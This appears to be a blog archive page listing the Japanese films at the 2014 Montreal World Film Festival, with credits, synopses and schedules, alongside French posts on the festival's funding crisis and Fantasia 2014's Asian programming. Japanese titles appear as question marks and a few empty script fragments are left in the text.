Update [2014-08-15]: The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!

Update [2014-08-20]: Details on each of the Japanese movies shown at the festival are now available on the festival’s web site.

After the jump, you will find a list of all the Festival’s Japanese movies with description [taken from the festival’s program] and supplemental links (more details and links will be added as the information become available):


The World Competition

  • Cape Nostalgia (???????? / Fushigina Misaki no Monogatari / The Tale Of A Cape): Japan, 2014, 117 min; Dir.: Izuru Narushima; Scr.: (based on Akio Morisawa novel); Prod.: Sayuri Yoshinaga; Cast: Sayuri Yoshinaga (Etsuko), Hiroshi Abe (Koji), Yuko Takeuchi, Tsurube Shofukutei, Takashi Sasano, Eiko Koike, Shota Shunputei, Arata, Takeo Nakahara, Renji Ishibashi.

    “Etsuko Kashiwagi runs the Cape Café in a peaceful little town looking across the sea to distant Mt Fuji. It is the town’s favourite meeting place, where farmers, fishermen, hospital workers, clergy, and even the occasional police officer, gather to taste Etsuko’s special brew and trade gossip. The two most important things in Etsuko’s life are her jack-of-all-trades nephew Koji and the spring water she brings every day from a small island nearby. In every cup Etsuko brews is a prayer for the well-being of her customers, and coffee at her café is an uplifting experience for all. Koji is 45, and devoted to Etsuko, who lives in a shack beside her café. He is hot-tempered, quick to jump to conclusions and a bit of a troublemaker. The winds of change have started to blow through the placid existence of the Cape Café.” (from the Festival’s press release)

    Schedule: Fri 8/29 9:00 CI; Fri 8/29 19:00 CI; Sat 8/30 14:00 CI.

  • The light shines only there (????????? / Soko nomi nite Hikari Kagayaku): Japan, 2014, 120 min.; Dir.: Mipo O; Scr.: Ryo Takada (based on the novel by Yasushi Sato); Cast: Gou Ayano, Chizuru Ikewaki, Masaki Suda, Hiroko Isayama, Taijiro Tamura, Kazuya Takahashi, Shohei Hino.

    “ Tatsuo has given up working and is idling his life away. One day at a Pachinko parlour, he gets to know a coarse but friendly young man, Takuji. Tatsuo accepts Takuji’s invitation and follows him home, which turns out to be a rundown, isolated house. It is here that Tatsuo meets Takuji’s older sister, Chinatsu. They feel a quick mutual attraction and become close, but Chinatsu’s life is difficult as she struggles to support her family. Even so, Tatsuo remains steadfast in his love for Chinatsu, and his unwavering feelings begin to sway her. Since finding a connection with Chinatsu, Tatsuo’s reality quietly begins to regain its colour…” (from the Festival’s press release)

    Schedule: Sun 8/31 9:00 CI; Sun 8/31 19:00 CI; Mon 9/01 14:00 CI.

The World Competition — Short Films

  • Kemukujara: Japan, 2014, 13 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. First episode of the stop motion experimental animation Keblujara. [Facebook]
    Schedule: Wed 8/27 9:00 CI; Wed 8/27 19:00 CI; Thu 8/28 14:00 CI.

World Great (Out of Competition)

  • Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Cast: Satoshi Tsumabuki, Mieko Harada, Sosuke Ikematsu, Kyozo Nagatsuka, Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa.

    The emotional journey of a four-member family that fails to recognize that it is rapidly growing apart until the mother is diagnosed with terminal cancer.

    Schedule: Sun 8/24 11:30 QL15; Mon 8/25 21:30 QL15; Tue 8/26 14:10 QL15.

  • A drop of the grapevine (??????? / Budou no namida / lit. “Tears of Grapes”): Japan, 2014, 117 min.; Dir. & Scr.: Yokiko Mishima; Cast: Yo Oizumi (Ao), Shota Sometani (Roku), Yuko Ando (Erika), Tomorowo Taguchi, Tomoya Maeno, Lily, Kitaro,
    Ren Osugi, Kyoko Enami.

    In Hokkaido, Ao grows grapes for wine while his younger brother, Roku, tends to the wheat field inherited from their father. Then a mysterious women enters their lives.

    Schedule: Sat 8/30 11:40 QL16; Sat 8/30 19:00 QL16; Sun 8/31 14:20 QL16.

  • A courtesan with flowered skin (???? / Hanayoi dochu): Japan, 2014, 102 min; Dir.: Keisuke Toyoshima; Cast: Yumi Adachi (Asagiri), Yasushi Fuchikami (Hanjiro), Ena Koshino, Yoko Mitsuya, Hanako Takigawa, Ayano Tachibana, Saki Takaoka, Tomochika, Kanji Tsuda.

    In 1860s Japan, popular courtesan Asagiri is about to be freed from her indentured service. One day at a local festival she meets a young artisan, Hanjiro, an encounter that changes her destiny.

    Schedule: Thu 8/28 10:00 QL15; Thu 8/28 19:00 QL15; Fri 8/29 17:00 QL15.

Focus on World Cinema

  • Fly, Dakota, Fly! (??! ??? / Tobe! Dakota): Japan, 2014, 109 min; Dir.: Seiji Aburatani; Scr.: Kuniho Yasui, Naoyuki Tomomatsu; Phot.: Shigeru Komatsubara; Prod.: Kiyoshi Mizuno; Cast: Manami Higa, Masataka Kubota, Akira Emoto, Yoriko Douguchi, Kumi Nakamura, Miyoko Yoshimoto, Yukijiro Hotaru, Yukiyo Sono, Minoru Sawatari, Mark Chinnery, Dean Newcombe, Toshiki Ayata, Bengal.

    January 1946. A British military plane carrying diplomats makes a crash landing on the beach in a small village on a remote Japanese island. The pilots need help but the locals were enemies just half a year ago.

    Schedule: Sat 8/30 13:00 QL15; Sat 8/30 21:30 QL15; Sun 8/31 17:00 QL15.

  • Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama, Masato Yano.

    With a highly paid job, a beautiful wife, and two independent teenage kids, not to mention his own father living with him at home, Shunkuze, 47, seems to have it all. But appearances can be deceiving.

    Schedule: Fri 8/22 19:20 QL12; Sat 8/23 11:40 QL12; Sun 8/24 16:40 QL12.

  • A sparkle of life (Sansan): Japan, 2014, 81 min.; Dir.: Bunji Satoyama; Phot.: Shogo Ueno; Ed.: Hitomi Katô; Mus.: Sayaka Asaoka, Asuka Matsumoto; Cast: Kazuko Yoshiyuki, Akira Takarada, Natsue Hyakumoto, Michiyo Miyata, Kanami Tagawa, Masatake Takei, Kei Takushima, Kazuko Tauchi, Yoichi Toyama, Toshiko Tsumura, Gaku Yamamoto.

    Lonely after the death of her husband, whom she nursed for years, 77 year-old Tae Tsurumoto decides to find a new life partner. Her family and friends try to dissuade her.

    Schedule: Wed 8/27 19:20 QL14; Thu 8/28 12:30 QL14; Fri 8/29 14:10 QL14.

  • One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara, Koki Tanaka, Ryuichi Kosugi, Mika Nakashima, Yosuke Kubozuka, Shinnosuke Ikehata, Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono.

    Three small-time crooks desperate to turn their lives around manage to pull off a successful bank hit in broad daylight. But they aren’t the only ones after the loot.

    Schedule: Fri 8/22 14:30 QL15; Sat 8/23 21:50 QL15; Mon 8/25 10:00 QL15.

  • Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 100 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima.

    A graduate student who runs a bar in Shinjuku N-chome, Tokyo’s gay district, meets a Korean man and falls in love, but a 20-year-old homicide case makes this more than a love story.

    Schedule: Fri 8/22 19:00 QL15; Sat 8/23 10:00 QL15; Sun 8/24 14:00 QL15.

Focus on World Cinema — Short Films

  • All He Knows Right: Japan, 2014, 5 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. Second episode of the stop motion experimental animation Keblujara. [Facebook]
  • No return on perishables (Koi ha kangaeruna, ai ha kanjiro): Japan, 2014, 18 min.; Dir.: Takatsugu Naito.
  • Suicide volunteers (Tokko Shigan): Japan, 2014, 25 min.; Dir.: Kenshow Onodera. [IMDb]
  • When the sun falls (Hi-wa-ochiru): Japan, 2014, 39 min.; Dir.: Yuji Kakizaki. [IMDb]
    All four shorts are shown together:
    Schedule: Tue 8/26 21:40 QL13; Wed 8/27 16:20 QL13.

Tributes

  • Norwegian wood (??????? / Noruwei no mori): Japan, 2010, 128 min.; Dir.: Tran Anh Hung; Scr.: Haruki Murakami (based on his novel) & Anh Hung Tran; Phot.: Pin Bing Lee; Prod.: Chihiro Kameyama, Shinji Ogawa; Cast: Kenichi Matsuyama, Rinko Kikuchi, Kiko Mizuhara, Tetsuji Tamayama, Kengo Kora, Reika Kirishima, Eriko Hatsune, Tokio Emoto, Shigesato Itoi, Haruomi Hosono, Yukihiro Takahashi. Shown as part of the tribute to Michael J. Werner.

    Tokyo, the late 1960s. Students around the world are uniting to overthrow the establishment and Toru Watanabe’s personal life is similarly in tumult.

    Schedule: Sat 8/30 21:30 QL12; Sun 8/31 16:10 QL12.

  • Tôkyô Sonata (????????): Japan, 2008, 119 min.; Dir.: Kiyoshi Kurosawa; Scr.: Max Mannix, Kiyoshi Kurosawa, Sachiko Tanaka; Phot.: Akiko Ashizawa; Ed.: Kôichi Takahashi; Mus.: Kazumasa Hashimoto; Cast: Kazumasa Hashimoto, Kyoko Koizumi, Kai Inowaki, Yu Koyanagi, Koji Yakusho, Haruka Igawa. Shown as part of the tribute to Michael J. Werner.

    An ordinary Japanese family slowly disintegrates after its patriarch loses his job at a prominent company, then detours into the comic, the macabre and the sublime.

    Schedule: Thu 8/28 16:30 QL12; Fri 8/29 16:30 QL12.

  • Hiroshima mon amour (???????? / Nij?yojikan no j?ji / lit. “Twenty-four-hour affair”): France / Japan, 1959, 90 min.; Dir.: Alain Resnais; Scr.: Marguerite Duras; Phot.: Michio Takahashi, Sacha Vierny; Mus.: Georges Delerue, Giovanni Fusco; Cast: Emmanuelle Riva, Eiji Okada, Bernard Fresson, Stella Dassas, Pierre Barbaud.

    A French actress filming an anti-war film in Hiroshima has an affair with a married Japanese architect as they share their differing perspectives on war.

    Schedule: Sat 8/30 19:20 QL11.

[ Traduire ]

Programmation FFM 2014

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Lors d’une conférence de presse mardi le 5 août dernier le Festival des Films du Monde de Montréal a annoncé les grandes lignes de la programmation de sa 38e édition.
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On nous promet une sélection de qualité qui inclue environ 350 films (160 longs métrages et 190 courts métrages) en provenance de 74 pays. En plus de nous faire découvrir l’avenir du cinéma avec 51 premières oeuvres, document.write(“”); on y retrouvera une centaine de premières mondiales ou internationales et 32 premières nord-américaines. La programmation se divise en huit sections: la Compétition mondiale (32 films dont 13 courts métrages), la Compétition mondiale des premières oeuvres (19 longs métrages), les films Hors concours (17 longs métrages), Regards sur les cinémas du monde (77 longs métrages et 74 courts métrages), les Documentaires du monde (27 longs métrages et 7 courts métrages), les Hommages (dont 5 films en hommage à Michael J. Werner), le Festival du film étudiant: sélection nationale (26 courts métrages) et sélection internationale (60 courts métrages). De quoi plaire à tout les goûts!

Vous trouverez tous les détails de cette riche programmation dans le communiqué de presse (disponible aussi en anglais). Je vous recommande aussi de lire les commentaires que font Le Devoir (“Un FFM affaibli mais debout” par Odile Tremblay, 6 août 2014) et The Gazette (“Festival des films du monde acts globally” par T’cha Dunlevy, 5 août 2014) sur la programmation du FFM.

Vous pouvez également visionner quelques extraits de la conférence de presse sur Vimeo :


Bien sûr, avec le retrait de plusieurs subventions (à ce sujet voir mon billet “Le FFM se prépare à une 38e année difficile”, de même que le récent article du Devoir “L’incompréhensible assassinat du FFM” et l’éditorial de The Gazette du 6 août, “It’s time for Montreal’s main film festival to refocus” [en anglais]), il y aura des événements qui seront annulés ou dont l’avenir est encore incertain, comme les projections en plein air (le FFM cherche toujours un nouveau commanditaire) ou le sous-titrage bilingue des films en compétition (quoique la technologie rend maintenant cela plus facile et surtout moins coûteux). Toutefois, avec la diversité et la qualité habituelle de sa programmation, je ne suis pas sûr la plupart des amateurs fidèles du FFM voient vraiment une différence. Tout ce qu’ils veulent c’est voir de bons et beaux films et, pour cela, ils seront sûrement servi. Et, comme nous le rappel Serge Losique, le FFM est un festival très important, respecté à travers le monde. Il mérite donc toute notre attention et notre support.

Le Festival des Films du Monde de Montréal se tiendra du 21 août au 1er septembre 2014, aux cinémas Impérial (1430 rue de Bleury — Métro Place des Arts) et Quartier Latin (350 rue Emery — Métro Berri-UQAM). Les billets seront disponible dès le 16 août à midi aux guichets des cinémas Impérial et Quartier Latin, et en réseau de billetterie dès le 22 août. Les billets individuels sont $10, les Passeports sont $100 et la Carte Cinéphile est $250. Des carnets de 10 coupons échangeables contre des billets individuels sont également disponible pour $70. Plus de détails sur le site du festival: www.ffm-montreal.org.

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Jury of the Montreal World Film Festival

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The Montreal World Film Festival has announced that the jury of the 38th Festival will be presided by Italian actor and director Sergio Castellitto. The jury will also be made of Rachid Bouchareb (Franco-Algerian director-producer), document.write(“”); Andréanne Bournival (Quebec television programming manager), Fridirik Thor Fridriksson (Icelandic producer), Ana Torrent (Spanish actress) and Jane Zhang (Chinese pop singer and actress). (See the full press release)
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The festival has also announced that it will pay tribute to international distributor-producer Michael J. Werner, chairman of film sales of Fortissimo Films. The veteran America-born producer has been located in Hong Kong over the past two decades from where he guided the production and distribution of Asian films to markets around the world. As part of the tribute to Michael J. Werner, the Festival will show five recent films distributed and/or co-produced by Fortissimo: Tears of the Black Tiger directed by Wisit Sasanatieng (Thailand, 2000), Norwegian Wood, by Tran Ang Hung (Japan, 2010, adaptation of the famous Haruki Murakami’s novel), The Grandmaster by Wong Kar Wai (Hong Kong, 2013) and the Canadian premieres of The Great Hypnotist, by Leste Chan (China, 2014) and Black Coal, Thin Ice by Diao Yinan (China / Hong Kong, 2014), this year’s Golden Bear winner at the Berlin Film Festival. (See the full press release)

The only large competitive festival in North America accredited by FIAPF (the International Federation of Film Producers’ Associations), the 38th Montreal World Film Festival will run from August 21 to September 1, 2014.

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Le FFM se prépare à une 38e année difficile

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Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
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Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

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Fantasia 2014

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The 18th edition of the Fantasia International Film Festival will be held in Montreal from July 17 to August 5, document.write(“”); 2014. Screenings will take place mostly at the freshly renovated Concordia Hall Cinema. This year the festival is offering a lineup of over 160 features films and about 300 shorts. For more programming details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming (over sixty movies from seven countries: 22 from Japan, 17 from South Korea, 7 from Hong Kong, 2 from Indonesia, one each from China, Malaysia and Philippines) and particularly the animation (twelve movies from four countries: 8 from Japan, 2 from China, as well as one each from South Korea and Indonesia — there’s also one anime-related animation from Québec).

Update: For comments on the Japanese movies presented at Fantasia, I highly recommend reading Claude R. Blouin’s article [in french], “Montréal, Fantasia 2014 : le Japon des exclus” on Shomingeki web magazine.

A recap list of the Asian programming titles follows (with links to full description).


Anime (+ Asian Animation):

Japan (Live-Action):

Other Asian countries (Live-Action):

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Fantasia unveil their full 2014 lineup

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2014 is the year that The Fantasia International Film Festival turns 18. We can’t believe it either. Fantasia’s 18th birthday means over 160 features and something in the neighbourhood of 300 shorts, document.write(“”); many being shown for the first time on this continent, a good number screening here for the first time anywhere in the world.

In the previous weeks, they announced many programming highlights in a 1st and 2nd Wave of press releases and now the time has come to unveil the rest of the 2014 lineup.


Camera Lucida
In addition to the previously announced titles, Fantasia’s 2014 Camera Lucida section features the following asian movies:

SEVENTH CODE
Japan, Dir: Kiyoshi Kurosawa. A young Japanese woman finds herself lost and alone in Russia, leading her into a sinister universe of international espionage. SEVENTH CODE is Kiyoshi Kurosawa’s unexpected detour into the thriller genre. Canadian Premiere.

The Return of AXIS: Fantasia’s Animation Showcase
Axis, Fantasia’s international animation showcase, returns with features hailing from Belgium, France, Japan, South Korea, Russia and the USA. Aside from the previous announced Axis titles (like HUNTER X HUNTER: THE LAST MISSION or the special screening of the new HD master for Mamoru Oshii’s 1995 classic GHOST IN THE SHELL), the 2014 lineup features the following asian movies:

APPLESEED ALPHA
Japan, Dir: Shinji Aramaki. Super-soldier Deunan and her hulking cyborg companion Briareos stalk the shattered husk of New York City. A tour-de-force of digital design, APPLESSED ALPHA is essential kick-ass cyberpunk animation. North American Premiere

BAYONETTA: BLOODY FATE
Japan, Dir: Fuminori Kizaki. Bayonetta, a lithe, powerful witch and mistress of the Bullet Arts, dispatches a host of bloodthirsty angels in a church. But what she cannot dispel are the mysteries of her own origin and purpose… Canadian Premiere.

THE FAKE
South Korea, Dir: Yeon Sang-ho. The latest from Yeon Sang-ho, winner of Fantasia’s first Satoshi Kon Award with KING OF PIGS, targets corruption, Korean displacement policies that favour progress over the individual’s welfare, and the dark side of religion. Official Selection: AFI Fest 2013 Quebec Premiere.

HAL
Japan, Dir: Ryotaro Makihara. An android assigned to console a grieving girl learns what being human means in this short, self-contained gem of emotionally resonant science fiction anime. North American Premiere.

HUNTER X HUNTER : PHANTOM ROUGE
Japan, Dir: Yuzo Sato. The stage is set for secrets and conspiracies, fantastic wonders and furious action, as Yoshihiro Togashi’s hugely popular manga series HUNTER X HUNTER makes its big-screen anime debut. Canadian Premiere.

THE SATTELITE GIRL AND MILK COW
South Korea, Dir: Chang Hyung-yun. A familiar trope of Asian animation — fantastical romance between misfits — is turned upside down and inside out in this charmingly surrealist robo-rom-com from South Korea. North American Premiere.

And now more Asian movies announcement:

BLACK BUTLER
Japan, Dir: Kentaro Otani, Keiichi Sato. Shiori sold her soul to avenge her parents’ murder. She and her diabolical butler Sebastian are on a mission… The hit manga’s action-packed big-screen adaptation will thrill diehard fans and newbies alike. Quebec Premiere.

COLD EYES
South Korea, Dir: Cho Ui-seok, Kim Byung-seo. One of South Korea’s absolute blockbuster hits of 2013, a fast-paced, relentless roller-coaster ride into the high-stakes world of criminal surveillance that will leave you absolutely breathless. Quebec Premiere.

DAYS OF WRATH
South Korea, Dir: Shin Dong-yeop. Fifteen years after the torments of his teenage days, Joon-seok seeks vengeance on his erstwhile tormentor, Chang-sik. A Korean revenge film that stands out starkly from its predecessors, bringing in a new perspective for which the genre thirsted. International Premiere.

THE DEMON WITHIN
Hong Kong, Dir: Dante Lam. Beware of the Festival of Hungry Ghosts! The Demon King Gang is creating havoc once again! Lock and load for some high-octane action and horror in a film-noir setting, from Dante Lam (BEAST STALKER, STOOL PIGEON). Quebec Premiere.

THE FATAL ENCOUNTER
South Korea, Dir: Lee Jae-kyoo. This powerful, tragic political thriller retells an oft-told tale of true history, of an attack on the so-called “King of Misfortune” in 1777 Korea. A superior slice of silks-and-swordplay, sultry, sumptuous, sophisticated — and savage. Quebec Premiere.

THE FIVES
South Korea, Dir: Jeong Yeon-shik. Wheelchair-bound Eun-a seeks vengeance on the serial killer who slew her family, and assembles a group of desperate misfits to execute her plan. A gripping, fast-moving team spin on the familiar Korean revenge-thriller formula. Canadian Premiere.

GUARDIAN
Indonesia, Dir: Helfi Kardit. After THE RAID: REDEMPTION (2011) and THE RAID 2 (2014), Indonesia serves up GUARDIAN, an old-school action flick is which a mother pressures her daughter to master the martial arts following the murder of her father. International Premiere.

GUN WOMAN
Japan, Dir: Kurando Mitsutake. Japanese actress Asami is a junkie hooker transformed into a ruthless assassin in this ultraviolent action flick. If you’re into gunfights, hand-to-hand combat and floods of blood, set your sights on GUN WOMAN. Canadian Premiere.

HWAYI: A MONSTER BOY
South Korea, Dir: Jang Joon-hwan. Kidnapped by five criminals in his infancy, Hwayi has spent the last decade shacked up in the woods, learning how to be a cold-blooded killing machine. An exploration of evil from the creator of the cult classic SAVE THE GREEN PLANET! North American Premiere.

KABISERA
Philippines, Dir : Alfonso Torre III. Following a haunting dream, a felon-turned-fisherman finds a shipment of methamphetamine — and soon finds himself trapped in a nightmare. One of the most powerful, lasting genre films to come out of the Phillipines in recent year. Quebec Premiere.

THE MOLE SONG – UNDERCOVER AGENT REIJI
Japan, Dir: Takashi Miike. Disgraced cop Reiji Kikukawa is sent undercover to infiltrate the most powerful yakuza clan in Japan. With its marvellously absurd humour and contagious energy, THE MOLE SONG marks Miike’s magnificent return to comedy! Quebec Premiere.

MR. GO
South Korea/China, Dir: Kim Yong-hwa. Teenage Weiwei brings her gorilla with a powerhouse swing to the Asian baseball scene, to save her family’s debt-ridden circus. Korea’s first 3D blockbuster, an ambitious pan-Asian production, hits a home run! Canadian Premiere.

NUIGULUMAR Z (Gothic Lolita Battle Bear)
Japan, Dir: Noboru Iguchi. Get ready for sugar and spice and everything nice — set on maximum slice and dice! Cosplay and kawaii collide with Japanese sci-fi superheroics and zombie gore in GOTHIC LOLITA BATTLE BEAR! Canadian Premiere.

REAL
Japan, Dir: Kiyoshi Kurosawa. The Escher-like subconscious mindscape of a loved one becomes a spirit-laden underworld to explore in this bizarre, surreal, supremely beautiful sci-fi melodrama from Kiyoshi Kurosawa. Quebec Premiere.

RUROUNI KENSHIN – KYOTO INFERNO
Japan, Dir: Keishi Otomo. Long awaited sequel of the live action movie RUROUNI KENSHIN (2012) has finally arrived! Based on the best-selling manga series of the same title, this two-part film revolves around Kenshin’s desperate struggle to protect the nation and the people he loves from the conspiracy of Shishio, a former government assassin and Kenshin’s notorious successor, to overthrow the government. International Premiere. [See more details on ANN]

THE SNOW WHITE MURDER CASE
Japan, Dir: Yoshihiro Nakamura. Playing out like an endlessly fragmented retelling of RASHOMON for the digital age, the latest from Yoshihiro Nakamura (FISH STORY, GOLDEN SLUMBER) is a strikingly modern whodunit. Quebec Premiere.

THE SPY: UNDERCOVER OPERATION
South Korea, Dir: Lee Seung-jun. Elite operative Agent Kim must keep a second Korean War from breaking out — and his marriage from breaking apart! Equal parts zany rom-com and intense thriller, THE SPY is a mirthful mash-up of gritty gunplay and goofball gags. Canadian Premiere.

THE SUSPECT
South Korea, Dir: Won Shin-yeon. A North Korean super-soldier turned defector is drawn into a morally murky maelstrom of secrets, lies and sudden, furious yet precise violence. A tough, tight political action thriller with a soul. Canadian Premiere.

THERMAE ROMAE II
Japan, Dir: Hideaki Takeuchi. Time-travelling Roman bathhouse architect Lucius returns! Funnier, more grandiose and irreverent, this second journey from Ancient Rome to modern Japan, care of director Hideaki Takeuchi, is frankly spectacular. International Premiere.

UZUMASA LIMELIGHT
Japan, Dir: Ken Ochiai. Old Kamiyama the swordfight-death specialist is a legend around Kyoto’s Uzumasa Studios, but his star, however small it ever was, has dimmed. A journey into the inner workings of Japanese pop entertainment, in its golden era and today. Canadian Premiere.

ZOMBIE TV
Japan, Dir: Maelie Makuno, Naoya Tashiro, Yoshihiro Nishimura. Ever dreamed of zombie-only cable TV, broadcasting all things putrefied, decomposing and brain-hungry, 24 hours a day, all year round? A severed-tongue-firmly-planted-in-rotten-cheek, all-you-can-eat zombie-party anthology from Yoshihiro Nishimura and co. Canadian Premiere.

FANTASIA GUEST LIST BRINGS THE BEST OF GENRE FILM TO MONTREAL

This year Fantasia continues its tradition of inviting the best and brightest genre filmmakers from around the world to the city of Montreal. The festival is proud to host more than 76 directors, producers and actors coming to Fantasia to premiere their films at the festival’s 18th edition. Fantasia will welcome filmmakers from all over the globe, from countries ranging from Brunei, Japan, and South Korea, to France and the Netherlands. In total, this year Fantasia will host more than 400 film industry professionals from around the world.

Special festival guest from Asia will includes: Asami (Cult actress for Gun Woman), Noboru Iguchi (dir. for Nuigulumar Z), Jang Joon-hwan (Korean filmmaker for Hwayi: A Monster Boy), Hiroyoshi Koiwai (Executive Producer for Rurouni Kenshin: Kyoto Inferno), Kurando Mitsutake (Director/Writer for Gun Woman), Mamoru Oshii (Director for Ghost in the Shell, will receive a Fantasia Lifetime Achievement Award for his unparalleled career in animation), and Keishi Otomo (Director/Co-Writer for Rurouni Kenshin: Kyoto Inferno).

THE 3RD EDITION OF THE FANTASIA INDUSTRY RENDEZ-VOUS

For a third consecutive year, the Fantasia International Film Festival has organized an event to host members of the international film industry at the festival: The Fantasia Industry Rendez-Vous. From July 24 to 27, producers, directors, sales agents, distributors and talent agents from here and afar will converge in Montreal to develop film projects, as well as sell and buy films from Fantasia’s programming. The 2014 edition of the Rendez-Vous will attract 280 participants. The principal activity of the Industry Rendez-Vous is the Frontières International Co-Production Market, the first market to focus specifically on genre film co-production in-between North America and Europe.

Once again, a series of conferences have been organized within the Industry Rendez-Vous. The subjects that will be explored are: Shooting in Quebec, Early Production Involvement of Post-Production Partners, Creating a Proof-of-Concept Video for Financing and Presales, and Lessons Learned in Crowdfunding and Crowdsourcing. The conferences are open to the general public. Frontières also offers a consultancy service with professionals in independent production, film sales, festival programming and merchandising, available free of charge to market participants.

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The full press release can be found here. You can also find more information on the festival website.

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Fantasia announces a second wave of 2014 titles

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The Fantasia International Film Festival is proud to unveil additional highlights to their 2014 film lineup.

Official Closing Film – Abel Ferrara’s WELCOME TO NEW YORK

